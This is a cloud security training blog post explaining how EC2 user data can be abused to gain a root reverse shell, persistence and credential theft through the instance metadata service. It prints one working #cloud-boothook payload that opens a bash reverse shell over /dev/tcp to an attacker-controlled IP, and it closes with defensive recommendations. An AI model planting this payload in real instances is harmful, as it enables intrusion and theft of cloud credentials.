EC2 user data for fun, reverse shell and privilege escalation
During some tests for the EC2 part of our AWS Cloud Infrastructure Security Training, we stumbled upon an interesting way to exploit EC2 user data. We included a demonstration to show our students how important it is to understand the consequences of seemingly safe privileges in AWS services, and drill the great importance of following the principle of least privilege.
In case you are not familiar with it, EC2 user data is used to configure your Linux Instance at launch time using cloud-init. It is useful to make per-instance customizations without the need to create as many different AMIs, like installing, configuring and starting services from a base image.
"When you launch an instance in Amazon EC2, you have the option of passing user data to the instance that can be used to perform common automated configuration tasks and even run scripts after the instance starts. You can pass two types of user data to Amazon EC2: shell scripts and cloud-init directives. You can also pass this data into the launch wizard as plain text, as a file (this is useful for launching instances using the command line tools), or as base64-encoded text (for API calls)."
AWS EC2 User Guide "Running commands on your Linux instance at launch"
Exploiting New Instances
So how can an attacker exploit this? One scenario would be if the attacker has already obtained (or was legitimately given) limited access to your account that includes the permissions necessary to launch new instances. It could then be exploited as follows:
1) Start a new instance with an AWS CLI command similar to this:
2) Ensure that the user data populated above creates a reverse shell to an IP address and port under the attacker's control:
3) Start netcat listening and waiting for this reverse shell session:
To demonstrate how this works, this is a typical output when you create the new instance:
Soon after the instance launches, it will execute our malicious user data script and our netcat will allow access to the shell as root:
As soon as we have that access, we could move laterally across the network as is typical with either cloud or on-premises environments. Or, as we intended from the beginning, we can use the instance metadata service to obtain credentials that allow the same level of access as the IAM role associated with the instance, a classic cloud escalation of privileges.
To be honest, an attacker that can create new instances and assign them arbitrary privileges over the ones they already possess would not need to use EC2 user data to exploit it. They could simply connect to the instance via SSH, Instance Connect or System Manager Session Manager and be done with it.
Exploiting and Persisting with Existing Instances
But here's the real interesting part - what if an attacker did NOT have the rights to either create new instances from scratch nor to log into existing instances? What if they could only change the user data of existing instances?
Well, the documentation says that “if you stop an instance, modify its user data, and start the instance, the updated user data is not executed when you start the instance". So at first glance it seems that it's impossible to exploit just this privilege... or is it?
Just searching a bit more, we found documentation at AWS Support showing how to ensure that scripts on user data are executed every time the machine restarts.
"By default, user data scripts and cloud-init directives run only during the first boot cycle when an EC2 instance is launched. However, you can configure your user data script and cloud-init directives with a mime multi-part file...”
This is not only handy for privilege escalation in the scenario we just described, but also to obtain actual persistence in the environment as an attacker. Think about it: an attacker that just has ec2:DescribeInstances and ec2:ModifyInstanceAttribute privileges can change all of the existing instance user data to include a reverse shell as above, and simply wait for your admins to reboot them during normal operations.
After all, when was the last time your admins or security team un-base64'd the user data of all of your long-running instances and reviewed each of them for malicious content?
So let's demonstrate this technique. Instead of a running a new instance, we stop an existing instance, apply new user data (based on the same reverse shell as before), and restart it.
Same as in the first scenario, we get a shell from this instance as root:
It is worth noting that Pacu Framework already has automated exploitation for this technique, which is pretty cool.
Looking into Pacu code you just need to add a #cloud-boothook header in your malicious userdata and convert to base64.
#cloud-boothook
#!/bin/bash
/bin/bash -i >& /dev/tcp/xxx.xx.10.133/9090 0>&1
Conclusions
Abusing user data in this way opens more interesting attack vectors for your AWS environment. This is a new attack surface that on-premises security and IT personnel might not know about, and which might go unmonitored and undefended.
A few recommendations based on this, in no particular order:
- Be really careful when granting ec2:ModifyInstanceAttribute privileges directly or indirectly (such as through managed policies or action wildcards in IAM policies).
- Monitor the use of the ec2:ModifyInstanceAttribute in CloudTrail closely. In our experience it is rare for user data to be legitimately changed after an instance is initially launched.
- Apply least privilege to roles assigned to users and instances.
- Security groups allow all outbound communications by default. It is incumbent on you to implement proper egress control to minimize the use of reverse shells and download of malicious payloads.
- Use endpoint monitoring tools to detect malicious activity from the root user at boot, such as unexpected outbound connections or commands being executed.
Happy detection!